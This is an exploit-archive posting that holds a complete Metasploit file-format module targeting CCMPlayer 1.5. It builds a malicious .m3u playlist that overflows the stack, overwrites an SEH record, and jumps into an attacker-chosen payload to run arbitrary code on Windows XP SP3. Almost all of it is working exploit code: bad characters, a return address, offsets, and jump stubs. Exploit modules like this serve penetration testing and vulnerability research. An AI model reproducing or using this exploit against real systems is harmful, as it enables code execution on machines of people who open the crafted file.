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CCMPlayer 1.5 Stack based Buffer Overflow (.m3u)

CCMPlayer 1.5 Stack based Buffer Overflow (.m3u)
Posted Dec 1, 2011
Authored by Rh0 | Site metasploit.com

This Metasploit module exploits a stack based buffer overflow in CCMPlayer 1.5. Opening a m3u playlist with a long track name, a SEH exception record can be overwritten with parts of the controllable buffer. SEH execution is triggered after an invalid read of an injectable address, thus allowing arbitrary code execution.

tags | exploit, overflow, arbitrary, code execution
SHA-256 | 62edddea0f0519c92d9a92f2e69fc9d8e1666dd6111763683d4173038b2a9bca

CCMPlayer 1.5 Stack based Buffer Overflow (.m3u)

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# Exploit: CCMPlayer 1.5 Stack based Buffer Overflow SEH Exploit (.m3u)
# Date: 30 Nov 2011
# Author: Rh0
# Software: CCMPlayer 1.5
# Tested on: Windows XP SP3 32-Bit EN (VirtualBox)

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::FILEFORMAT

def initialize(info = {})
super(update_info(info,
'Name' => 'CCMPlayer 1.5 Stack based Buffer Overflow (.m3u)',
'Description' => %q{
This module exploits a stack based buffer overflow in CCMPlayer 1.5. Opening
a m3u playlist with a long track name, a SEH exception record can be overwritten
with parts of the controllable buffer. SEH execution is triggered after an
invalid read of an injectible address, thus allowing arbitrary code execution.
},
'License' => MSF_LICENSE,
'Author' => ['Rh0'], # discovery and metasploit module
'Version' => '0.0',
'References' =>
[
# for info about "DisapleNops" and "StackAdjustment"
['URL', 'http://dev.metasploit.com/redmine/projects/framework/wiki/PortingExploits'],
# for metasploit fileformat exploit structure and use of Metasm
['URL', 'http://www.exploit-db.com/exploits/18142/']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'DisablePayloadHandler' => 'true',
},
'Payload' =>
{
'Space' => 0x1000,
'BadChars' => "\x00\x0d\x0a\x1a\x2c\x2e\x3a\x5c", # \x00\r\n\x1a,.:\\
'DisableNops' => 'True',
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[
'CCMPlayer 1.5 on Windows XP SP3 EN',
{
# pop esi / pop ebx / ret (in ccmplay.exe)
# tweak it if necessary
'Ret' => 0x00403ca7, # last NULL in buffer is accepted
'Offset' => 0x1000
}
]
],
'Privileged' => false,
'DisclosureDate' => '30 Nov 2011', # to my knowledge
'DefaultTarget' => 0))

register_options(
[
OptString.new('FILENAME', [ true, 'The file name.', 'msf.m3u']),
], self.class)
end

def exploit

m3u = "C:\\"
# shellcode
m3u << Metasm::Shellcode.assemble(Metasm::Ia32.new, "nop").encode_string * 25
m3u << payload.encoded
# junk
m3u << rand_text_alpha_upper(target['Offset'] - (25 + payload.encoded.length))
# need an access violation when reading next 4 bytes as address (0xFFFFFFFF)
# to trigger SEH
m3u << [0xffffffff].pack("V")
# pad
m3u << rand_text_alpha_upper(3)
# long jmp: jmp far back to shellcode
m3u << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-4103").encode_string
# NSEH: jmp short back to long jmp instruction
m3u << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-5").encode_string
# pad (need more 2 bytes to fill up to 4, as jmp $-5 are only 2 bytes)
m3u << rand_text_alpha_upper(2)
# SEH Exception Handler Address -> p/p/r
m3u << [target.ret].pack("V")
m3u << ".mp3\r\n" # no crash without it

print_status("Creating '#{datastore['FILENAME']}' file ...")

# Open CCMPlayer -> Songs -> Add -> Files of type: m3u -> msf.m3u => exploit
file_create(m3u)

end

end
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